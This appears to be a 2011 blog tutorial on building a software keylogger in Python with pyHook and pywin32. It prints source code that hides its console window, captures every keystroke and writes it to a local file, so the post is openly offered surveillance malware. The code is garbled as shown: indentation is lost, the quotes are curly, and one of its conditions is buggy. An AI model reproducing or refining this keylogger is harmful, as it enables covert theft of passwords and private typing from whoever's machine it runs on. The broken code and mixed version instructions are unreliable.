Aug 16, 2011

How to make a keylogger

Keylogger can be both software and hardware and their purpose is to intercept the signal from the keyboard to the computer. i can only teach you how the software works here but if your interested on doing the hardware you can google search for it. "keylog diy"

Open up a web browser and go to www.python.org to get a copy of the python programming language. click on the download link and download and install python 2.7.2



after you install python in your computer, open up a web browser again and go to pyhook.sourceforge.net, and click on the downloads link and download the pyhook.1.5.1.zip
 

the last thing you are going to download is found in www.sourceforge.net/projects/pywin32 and do to files click on pywin32 and download the pywin32 for python 2.7.2
 

once you have all the necessary files installed, open up the python GUI by clicking the start button and go to all programs go to python 2.6, and select idle python gui. in the interface go to file - new window to start a new project. first thing you want to do is import all the necessary modules that your going to need in order to make this run. the win32 modules are what you are going to use to manipulate the windows environment, such as minimizing windows or making them hidden all together. pythoncom and pyHook provide the necessary code that will interpret the keyboard keys. 
 

when your finish with the script save the file to the drive c: and save as logger.py
now go to drive c and double click on it and you may see a console for a split second but it should go away pretty quick. you can always stop the logger by pressing CTRL+E. whenever you want to see the everything that you just typed, open up drive c and open up output.txt

Source code:

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
if event.Ascii==5:

_exit(1)

if event.Ascii != 0 or 8:
f=open(‘c:output.txt’,'r’)

buffer=f.read()
f.close()

f=open(‘c:output.txt’,'w’)
keylogs=chr(event.Ascii)

if event.Ascii==13:
keylogs=’/n’
buffer +=
keylogs
f.write(buffer)
f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()


1 comments:

My cousin recommended this blog and she was totally right keep up the fantastic work!

Post a Comment